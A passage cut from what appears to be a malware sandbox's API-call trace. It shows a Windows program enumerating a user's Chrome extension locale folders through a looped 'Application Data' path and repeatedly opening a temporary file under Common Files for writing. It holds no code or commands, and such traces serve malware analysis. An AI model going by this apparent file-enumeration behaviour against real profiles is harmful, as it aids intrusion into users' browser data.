Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835041e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835068f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835068f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0144.798] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0144.798] GetLastError () returned 0x12 [0144.798] AreFileApisANSI () returned 1 [0144.798] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0144.798] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0144.798] GetFileType (hFile=0x128) returned 0x1 [0144.799] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835794e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8357bbf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8357bbf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0144.799] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0144.799] GetLastError () returned 0x12 [0144.799] AreFileApisANSI () returned 1 [0144.799] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0144.799] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0144.799] GetFileType (hFile=0x128) returned 0x1 [0144.799] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83580a10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83583120, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83583120, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0144.835] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0144.835] GetLastError () returned 0x12 [0144.835] AreFileApisANSI () returned 1 [0144.836] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0144.836] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0144.836] GetFileType (hFile=0x128) returned 0x1 [0144.836] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8358f470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8359b7c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8359b7c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0144.836] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0144.836] GetLastError () returned 0x12 [0144.836] AreFileApisANSI () returned 1 [0144.836] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0144.836] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0144.836] GetFileType (hFile=0x128) returned 0x1 [0144.837] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835969a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835a05e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835a05e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0144.882] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0144.882] GetLastError () returned 0x12 [0144.882] AreFileApisANSI () returned 1 [0144.882] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0144.883] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0144.883] GetFileType (hFile=0x128) returned 0x1 [0144.883] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835990b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835a5400, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835a5400, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0144.883] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0144.883] GetLastError () returned 0x12 [0144.883] AreFileApisANSI () returned 1 [0144.883] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0144.883] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0144.883] GetFileType (hFile=0x128) returned 0x1 [0144.884] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835aa220, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835b1750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835b1750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0144.929] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0144.929] GetLastError () returned 0x12 [0144.929] AreFileApisANSI () returned 1 [0144.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0144.929] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0144.929] GetFileType (hFile=0x128) returned 0x1 [0144.930] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835b6570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835b8c80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835b8c80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0144.930] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0144.930] GetLastError () returned 0x12 [0144.930] AreFileApisANSI () returned 1 [0144.930] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0144.930] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0144.930] GetFileType (hFile=0x128) returned 0x1 [0144.930] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835c01b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835c01b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835c01b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0144.976] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0144.976] GetLastError () returned 0x12 [0144.976] AreFileApisANSI () returned 1 [0144.976] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0144.976] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0144.976] GetFileType (hFile=0x128) returned 0x1 [0144.976] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835c4fd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835c9df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835c9df0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0144.977] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0144.978] GetLastError () returned 0x12 [0144.978] AreFileApisANSI () returned 1 [0144.978] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0144.978] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0144.978] GetFileType (hFile=0x128) returned 0x1 [0144.978] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835cec10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835cec10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835cec10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0145.023] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0145.023] GetLastError () returned 0x12 [0145.023] AreFileApisANSI () returned 1 [0145.023] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.023] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0145.023] GetFileType (hFile=0x128) returned 0x1 [0145.023] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835daf60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835dd670, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835dd670, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0145.024] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0145.024] GetLastError () returned 0x12 [0145.024] AreFileApisANSI () returned 1 [0145.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.024] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0145.024] GetFileType (hFile=0x128) returned 0x1 [0145.028] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835dd670, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835dfd80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835dfd80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0145.085] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0145.085] GetLastError () returned 0x12 [0145.085] AreFileApisANSI () returned 1 [0145.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.085] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0145.085] GetFileType (hFile=0x128) returned 0x1 [0145.086] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835e4ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835e72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835e72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0145.087] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0145.087] GetLastError () returned 0x12 [0145.087] AreFileApisANSI () returned 1 [0145.087] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.087] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0145.087] GetFileType (hFile=0x128) returned 0x1 [0145.087] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835ec0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835f0ef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835f0ef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0145.132] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0145.132] GetLastError () returned 0x12 [0145.132] AreFileApisANSI () returned 1 [0145.132] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.132] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0145.132] GetFileType (hFile=0x128) returned 0x1 [0145.132] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835f5d10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835f8420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835f8420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0145.133] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0145.133] GetLastError () returned 0x12 [0145.133] AreFileApisANSI () returned 1 [0145.133] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.133] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0145.133] GetFileType (hFile=0x128) returned 0x1 [0145.133] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835fd240, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835ff950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835ff950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0145.179] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0145.179] GetLastError () returned 0x12 [0145.179] AreFileApisANSI () returned 1 [0145.179] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.179] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0145.179] GetFileType (hFile=0x128) returned 0x1 [0145.179] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8360bca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8360e3b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8360e3b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0145.180] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0145.180] GetLastError () returned 0x12 [0145.180] AreFileApisANSI () returned 1 [0145.180] 